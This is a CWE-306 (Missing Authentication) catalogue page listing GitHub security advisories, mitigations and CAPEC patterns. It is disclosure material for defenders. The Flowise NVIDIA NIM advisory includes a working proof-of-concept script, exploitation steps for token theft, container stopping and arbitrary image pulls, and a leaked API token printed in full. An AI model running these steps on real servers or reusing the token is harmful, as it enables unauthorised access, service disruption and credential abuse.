CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
3654 vulnerabilities reference this CWE, most recent first.
GHSA-5F53-522J-J454
Vulnerability from github – Published: 2026-03-06 22:21 – Updated: 2026-03-09 13:15Missing Authentication on NVIDIA NIM Endpoints
Summary
The NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.
Vulnerability Details
| Field | Value |
|---|---|
| CWE | CWE-306: Missing Authentication for Critical Function |
| Affected File | packages/server/src/utils/constants.ts |
| Affected Line | Line 20 ('/api/v1/nvidia-nim' in WHITELIST_URLS) |
| CVSS 3.1 | 8.6 (High) |
Root Cause
In packages/server/src/utils/constants.ts, the NVIDIA NIM route is added to the authentication whitelist:
export const WHITELIST_URLS = [
// ... other URLs
'/api/v1/nvidia-nim', // Line 20 - bypasses JWT/API-key validation
// ...
]
This causes the global auth middleware to skip authentication checks for all endpoints under /api/v1/nvidia-nim/*. None of the controller actions in packages/server/src/controllers/nvidia-nim/index.ts perform their own authentication checks.
Affected Endpoints
| Method | Endpoint | Risk |
|---|---|---|
| GET | /api/v1/nvidia-nim/get-token |
Leaks valid NVIDIA API token |
| GET | /api/v1/nvidia-nim/preload |
Resource consumption |
| GET | /api/v1/nvidia-nim/download-installer |
Resource consumption |
| GET | /api/v1/nvidia-nim/list-running-containers |
Information disclosure |
| POST | /api/v1/nvidia-nim/pull-image |
Arbitrary image pull |
| POST | /api/v1/nvidia-nim/start-container |
Arbitrary container start |
| POST | /api/v1/nvidia-nim/stop-container |
Denial of Service |
| POST | /api/v1/nvidia-nim/get-image |
Information disclosure |
| POST | /api/v1/nvidia-nim/get-container |
Information disclosure |
Impact
1. NVIDIA API Token Leakage
The /get-token endpoint returns a valid NVIDIA API token without authentication. This token grants access to NVIDIA's inference API and can list 170+ LLM models.
Token obtained:
{
"access_token": "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",
"token_type": "Bearer",
"expires_in": 3600
}
Token validation:
curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models
# Returns list of 170+ available models
2. Container Runtime Manipulation
On systems with Docker/NIM installed, an unauthenticated attacker can: - List running containers (reconnaissance) - Stop containers (Denial of Service) - Start containers with arbitrary images - Pull arbitrary Docker images (resource consumption, potential malicious images)
Proof of Concept
poc.py
#!/usr/bin/env python3
"""
POC: Privileged NVIDIA NIM endpoints are unauthenticated
Usage:
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
"""
import argparse
import urllib.request
import urllib.error
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port")
ap.add_argument("--path", required=True, help="NIM endpoint path")
ap.add_argument("--method", default="GET", choices=["GET", "POST"])
ap.add_argument("--data", default="", help="Raw request body for POST")
args = ap.parse_args()
url = args.target.rstrip("/") + "/" + args.path.lstrip("/")
body = args.data.encode("utf-8") if args.method == "POST" else None
req = urllib.request.Request(
url,
data=body,
method=args.method,
headers={"Content-Type": "application/json"} if body else {},
)
try:
with urllib.request.urlopen(req, timeout=10) as r:
print(r.read().decode("utf-8", errors="replace"))
except urllib.error.HTTPError as e:
print(e.read().decode("utf-8", errors="replace"))
if __name__ == "__main__":
main()
Exploitation Steps
# 1. Obtain NVIDIA API token (no authentication required)
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
# 2. List running containers
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers
# 3. Stop a container (DoS)
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/stop-container \
--method POST --data '{"containerId":"<target_id>"}'
# 4. Pull arbitrary image
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/pull-image \
--method POST --data '{"imageTag":"malicious/image","apiKey":"any"}'
Evidence
Token retrieval without authentication:
$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
{"access_token":"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","token_type":"Bearer","refresh_token":null,"expires_in":3600,"id_token":null}
Token grants access to NVIDIA API:
$ curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models
{"object":"list","data":[{"id":"01-ai/yi-large",...},{"id":"meta/llama-3.1-405b-instruct",...},...]}
Container endpoints return 500 (not 401) proving auth bypass:
$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers
{"statusCode":500,"success":false,"message":"Container runtime client not available","stack":{}}
References
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.12"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30824"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-06T22:21:38Z",
"nvd_published_at": "2026-03-07T06:16:10Z",
"severity": "HIGH"
},
"details": "# Missing Authentication on NVIDIA NIM Endpoints\n\n## Summary\n\nThe NVIDIA NIM router (`/api/v1/nvidia-nim/*`) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| CWE | CWE-306: Missing Authentication for Critical Function |\n| Affected File | `packages/server/src/utils/constants.ts` |\n| Affected Line | Line 20 (`\u0027/api/v1/nvidia-nim\u0027` in `WHITELIST_URLS`) |\n| CVSS 3.1 | 8.6 (High) |\n\n## Root Cause\n\nIn `packages/server/src/utils/constants.ts`, the NVIDIA NIM route is added to the authentication whitelist:\n\n```typescript\nexport const WHITELIST_URLS = [\n // ... other URLs\n \u0027/api/v1/nvidia-nim\u0027, // Line 20 - bypasses JWT/API-key validation\n // ...\n]\n```\n\nThis causes the global auth middleware to skip authentication checks for all endpoints under `/api/v1/nvidia-nim/*`. None of the controller actions in `packages/server/src/controllers/nvidia-nim/index.ts` perform their own authentication checks.\n\n## Affected Endpoints\n\n| Method | Endpoint | Risk |\n|--------|----------|------|\n| GET | `/api/v1/nvidia-nim/get-token` | Leaks valid NVIDIA API token |\n| GET | `/api/v1/nvidia-nim/preload` | Resource consumption |\n| GET | `/api/v1/nvidia-nim/download-installer` | Resource consumption |\n| GET | `/api/v1/nvidia-nim/list-running-containers` | Information disclosure |\n| POST | `/api/v1/nvidia-nim/pull-image` | Arbitrary image pull |\n| POST | `/api/v1/nvidia-nim/start-container` | Arbitrary container start |\n| POST | `/api/v1/nvidia-nim/stop-container` | Denial of Service |\n| POST | `/api/v1/nvidia-nim/get-image` | Information disclosure |\n| POST | `/api/v1/nvidia-nim/get-container` | Information disclosure |\n\n## Impact\n\n### 1. NVIDIA API Token Leakage\n\nThe `/get-token` endpoint returns a valid NVIDIA API token without authentication. This token grants access to NVIDIA\u0027s inference API and can list 170+ LLM models.\n\n**Token obtained:**\n```json\n{\n \"access_token\": \"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\",\n \"token_type\": \"Bearer\",\n \"expires_in\": 3600\n}\n```\n\n**Token validation:**\n```bash\ncurl -H \"Authorization: Bearer nvapi-GT-...\" https://integrate.api.nvidia.com/v1/models\n# Returns list of 170+ available models\n```\n\n### 2. Container Runtime Manipulation\n\nOn systems with Docker/NIM installed, an unauthenticated attacker can:\n- List running containers (reconnaissance)\n- Stop containers (Denial of Service)\n- Start containers with arbitrary images\n- Pull arbitrary Docker images (resource consumption, potential malicious images)\n\n## Proof of Concept\n\n### poc.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPOC: Privileged NVIDIA NIM endpoints are unauthenticated\n\nUsage:\n python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token\n\"\"\"\n\nimport argparse\nimport urllib.request\nimport urllib.error\n\ndef main():\n ap = argparse.ArgumentParser()\n ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:port\")\n ap.add_argument(\"--path\", required=True, help=\"NIM endpoint path\")\n ap.add_argument(\"--method\", default=\"GET\", choices=[\"GET\", \"POST\"])\n ap.add_argument(\"--data\", default=\"\", help=\"Raw request body for POST\")\n args = ap.parse_args()\n\n url = args.target.rstrip(\"/\") + \"/\" + args.path.lstrip(\"/\")\n body = args.data.encode(\"utf-8\") if args.method == \"POST\" else None\n req = urllib.request.Request(\n url,\n data=body,\n method=args.method,\n headers={\"Content-Type\": \"application/json\"} if body else {},\n )\n\n try:\n with urllib.request.urlopen(req, timeout=10) as r:\n print(r.read().decode(\"utf-8\", errors=\"replace\"))\n except urllib.error.HTTPError as e:\n print(e.read().decode(\"utf-8\", errors=\"replace\"))\n\nif __name__ == \"__main__\":\n main()\n```\n\n\u003cimg width=\"1581\" height=\"595\" alt=\"screenshot\" src=\"https://github.com/user-attachments/assets/85351a88-64ce-4e2c-8e67-98f217fcf989\" /\u003e\n\n### Exploitation Steps\n\n```bash\n# 1. Obtain NVIDIA API token (no authentication required)\npython poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token\n\n# 2. List running containers\npython poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers\n\n# 3. Stop a container (DoS)\npython poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/stop-container \\\n --method POST --data \u0027{\"containerId\":\"\u003ctarget_id\u003e\"}\u0027\n\n# 4. Pull arbitrary image\npython poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/pull-image \\\n --method POST --data \u0027{\"imageTag\":\"malicious/image\",\"apiKey\":\"any\"}\u0027\n```\n\n### Evidence\n\n**Token retrieval without authentication:**\n```\n$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token\n{\"access_token\":\"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\",\"token_type\":\"Bearer\",\"refresh_token\":null,\"expires_in\":3600,\"id_token\":null}\n```\n\n**Token grants access to NVIDIA API:**\n```\n$ curl -H \"Authorization: Bearer nvapi-GT-...\" https://integrate.api.nvidia.com/v1/models\n{\"object\":\"list\",\"data\":[{\"id\":\"01-ai/yi-large\",...},{\"id\":\"meta/llama-3.1-405b-instruct\",...},...]}\n```\n\n**Container endpoints return 500 (not 401) proving auth bypass:**\n```\n$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers\n{\"statusCode\":500,\"success\":false,\"message\":\"Container runtime client not available\",\"stack\":{}}\n```\n\n## References\n\n- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [OWASP API Security Top 10 - API2:2023 Broken Authentication](https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/)",
"id": "GHSA-5f53-522j-j454",
"modified": "2026-03-09T13:15:54Z",
"published": "2026-03-06T22:21:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-5f53-522j-j454"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30824"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Flowise Missing Authentication on NVIDIA NIM Endpoints"
}
GHSA-5F63-P3W5-JPHC
Vulnerability from github – Published: 2022-01-15 00:01 – Updated: 2025-10-22 00:32NUUO NVRmini2 through 3.11 allows an unauthenticated attacker to upload an encrypted TAR archive, which can be abused to add arbitrary users because of the lack of handle_import_user.php authentication. When combined with another flaw (CVE-2011-5325), it is possible to overwrite arbitrary files under the web root and achieve code execution as root.
{
"affected": [],
"aliases": [
"CVE-2022-23227"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-14T18:15:00Z",
"severity": "CRITICAL"
},
"details": "NUUO NVRmini2 through 3.11 allows an unauthenticated attacker to upload an encrypted TAR archive, which can be abused to add arbitrary users because of the lack of handle_import_user.php authentication. When combined with another flaw (CVE-2011-5325), it is possible to overwrite arbitrary files under the web root and achieve code execution as root.",
"id": "GHSA-5f63-p3w5-jphc",
"modified": "2025-10-22T00:32:28Z",
"published": "2022-01-15T00:01:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23227"
},
{
"type": "WEB",
"url": "https://github.com/rapid7/metasploit-framework/pull/16044"
},
{
"type": "WEB",
"url": "https://github.com/pedrib/PoC/blob/master/advisories/NUUO/nuuo_nvrmini_round2.mkd"
},
{
"type": "WEB",
"url": "https://news.ycombinator.com/item?id=29936569"
},
{
"type": "WEB",
"url": "https://portswigger.net/daily-swig/researcher-discloses-alleged-zero-day-vulnerabilities-in-nuuo-nvrmini2-recording-device"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-23227"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5FVV-9CF6-P5XM
Vulnerability from github – Published: 2022-05-13 01:27 – Updated: 2022-05-13 01:27The browser native UI in Google Chrome before 17.0.963.83 does not require user confirmation before an unpacked extension installation, which allows user-assisted remote attackers to have an unspecified impact via a crafted extension.
{
"affected": [],
"aliases": [
"CVE-2011-3055"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-03-22T16:55:00Z",
"severity": "MODERATE"
},
"details": "The browser native UI in Google Chrome before 17.0.963.83 does not require user confirmation before an unpacked extension installation, which allows user-assisted remote attackers to have an unspecified impact via a crafted extension.",
"id": "GHSA-5fvv-9cf6-p5xm",
"modified": "2022-05-13T01:27:20Z",
"published": "2022-05-13T01:27:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-3055"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/74215"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A15033"
},
{
"type": "WEB",
"url": "http://code.google.com/p/chromium/issues/detail?id=117736"
},
{
"type": "WEB",
"url": "http://googlechromereleases.blogspot.com/2012/03/stable-channel-update_21.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2012-04/msg00000.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/48512"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/48527"
},
{
"type": "WEB",
"url": "http://security.gentoo.org/glsa/glsa-201203-19.xml"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/52674"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1026841"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-5G5H-VP5M-CHRX
Vulnerability from github – Published: 2022-05-24 19:16 – Updated: 2026-05-18 09:31On 2.1.15 version and below of Lider module in LiderAhenk software is leaking it's configurations via an unsecured API. An attacker with an access to the configurations API could get valid LDAP credentials.
{
"affected": [],
"aliases": [
"CVE-2021-3825"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-01T15:15:00Z",
"severity": "HIGH"
},
"details": "On 2.1.15 version and below of Lider module in LiderAhenk software is leaking it\u0027s configurations via an unsecured API. An attacker with an access to the configurations API could get valid LDAP credentials.",
"id": "GHSA-5g5h-vp5m-chrx",
"modified": "2026-05-18T09:31:46Z",
"published": "2022-05-24T19:16:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3825"
},
{
"type": "WEB",
"url": "https://pentest.blog/liderahenk-0day-all-your-pardus-clients-belongs-to-me"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-21-0795"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-21-0795"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5GHX-2VFX-7347
Vulnerability from github – Published: 2023-08-30 18:30 – Updated: 2023-11-03 03:30In Splunk Enterprise versions below 8.2.12, 9.0.6, and 9.1.1, an attacker can create an external lookup that calls a legacy internal function. The attacker can use this internal function to insert code into the Splunk platform installation directory. From there, a user can execute arbitrary code on the Splunk platform Instance.
{
"affected": [],
"aliases": [
"CVE-2023-40598"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-30T17:15:10Z",
"severity": "HIGH"
},
"details": "In Splunk Enterprise versions below 8.2.12, 9.0.6, and 9.1.1, an attacker can create an external lookup that calls a legacy internal function. The attacker can use this internal function to insert code into the Splunk platform installation directory. From there, a user can execute arbitrary code on the Splunk platform Instance.",
"id": "GHSA-5ghx-2vfx-7347",
"modified": "2023-11-03T03:30:23Z",
"published": "2023-08-30T18:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40598"
},
{
"type": "WEB",
"url": "https://advisory.splunk.com/advisories/SVD-2023-0807"
},
{
"type": "WEB",
"url": "https://research.splunk.com/application/ee69374a-d27e-4136-adac-956a96ff60fd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5GPJ-JHMX-464R
Vulnerability from github – Published: 2025-12-09 21:31 – Updated: 2025-12-09 21:31COMMAX Smart Home System allows an unauthenticated attacker to change configuration and cause denial-of-service through the setconf endpoint. Attackers can trigger a denial-of-service scenario by sending a malformed request to the setconf endpoint.
{
"affected": [],
"aliases": [
"CVE-2021-47709"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-09T21:15:49Z",
"severity": "HIGH"
},
"details": "COMMAX Smart Home System allows an unauthenticated attacker to change configuration and cause denial-of-service through the setconf endpoint. Attackers can trigger a denial-of-service scenario by sending a malformed request to the setconf endpoint.",
"id": "GHSA-5gpj-jhmx-464r",
"modified": "2025-12-09T21:31:48Z",
"published": "2025-12-09T21:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47709"
},
{
"type": "WEB",
"url": "https://www.commax.com"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/50209"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/commax-smart-home-ruvie-cctv-bridge-dvr-service-config-write-dos"
},
{
"type": "WEB",
"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5666.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5GPR-3236-XVJX
Vulnerability from github – Published: 2023-01-18 00:30 – Updated: 2023-01-18 00:30Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
{
"affected": [],
"aliases": [
"CVE-2023-21837"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-18T00:15:00Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).",
"id": "GHSA-5gpr-3236-xvjx",
"modified": "2023-01-18T00:30:17Z",
"published": "2023-01-18T00:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21837"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2023.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5GQ3-GP97-C3Q6
Vulnerability from github – Published: 2025-12-04 21:31 – Updated: 2025-12-04 21:31AirKeyboard iOS App 1.0.5 contains a missing authentication vulnerability that allows unauthenticated attackers to type arbitrary keystrokes directly into the victim's iOS device in real-time without user interaction, resulting in full remote input control.
{
"affected": [],
"aliases": [
"CVE-2025-66555"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-04T21:16:09Z",
"severity": "HIGH"
},
"details": "AirKeyboard iOS App 1.0.5 contains a missing authentication vulnerability that allows unauthenticated attackers to type arbitrary keystrokes directly into the victim\u0027s iOS device in real-time without user interaction, resulting in full remote input control.",
"id": "GHSA-5gq3-gp97-c3q6",
"modified": "2025-12-04T21:31:06Z",
"published": "2025-12-04T21:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66555"
},
{
"type": "WEB",
"url": "https://airkeyboardapp.com"
},
{
"type": "WEB",
"url": "https://apps.apple.com/us/app/air-keyboard/id6463187929"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/52333"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/airkeyboard-ios-app-105-remote-input-injection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5H3V-8M6Q-48C4
Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-10-27 19:00Properly formatted POST requests to multiple resources on the HTTP and HTTPS web servers of the Digi PortServer TS 16 Rack device do not require authentication or authentication tokens. This vulnerability could allow an attacker to enable the SNMP service and manipulate the community strings to achieve further control in.
{
"affected": [],
"aliases": [
"CVE-2021-38412"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-17T20:15:00Z",
"severity": "CRITICAL"
},
"details": "Properly formatted POST requests to multiple resources on the HTTP and HTTPS web servers of the Digi PortServer TS 16 Rack device do not require authentication or authentication tokens. This vulnerability could allow an attacker to enable the SNMP service and manipulate the community strings to achieve further control in.",
"id": "GHSA-5h3v-8m6q-48c4",
"modified": "2022-10-27T19:00:39Z",
"published": "2022-05-24T19:14:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38412"
},
{
"type": "WEB",
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-257-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5H8M-GW93-F3W6
Vulnerability from github – Published: 2024-06-05 12:31 – Updated: 2026-06-05 15:32Exposure of Sensitive Information to an Unauthorized Actor vulnerability in PORTY Smart Tech Technology Joint Stock Company PowerBank Application allows Retrieve Embedded Sensitive Data.This issue affects PowerBank Application: before 2.02.
{
"affected": [],
"aliases": [
"CVE-2024-1662"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-05T12:15:10Z",
"severity": "HIGH"
},
"details": "Exposure of Sensitive Information to an Unauthorized Actor vulnerability in PORTY Smart Tech Technology Joint Stock Company PowerBank Application allows Retrieve Embedded Sensitive Data.This issue affects PowerBank Application: before 2.02.",
"id": "GHSA-5h8m-gw93-f3w6",
"modified": "2026-06-05T15:32:03Z",
"published": "2024-06-05T12:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1662"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0324"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-24-0602"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.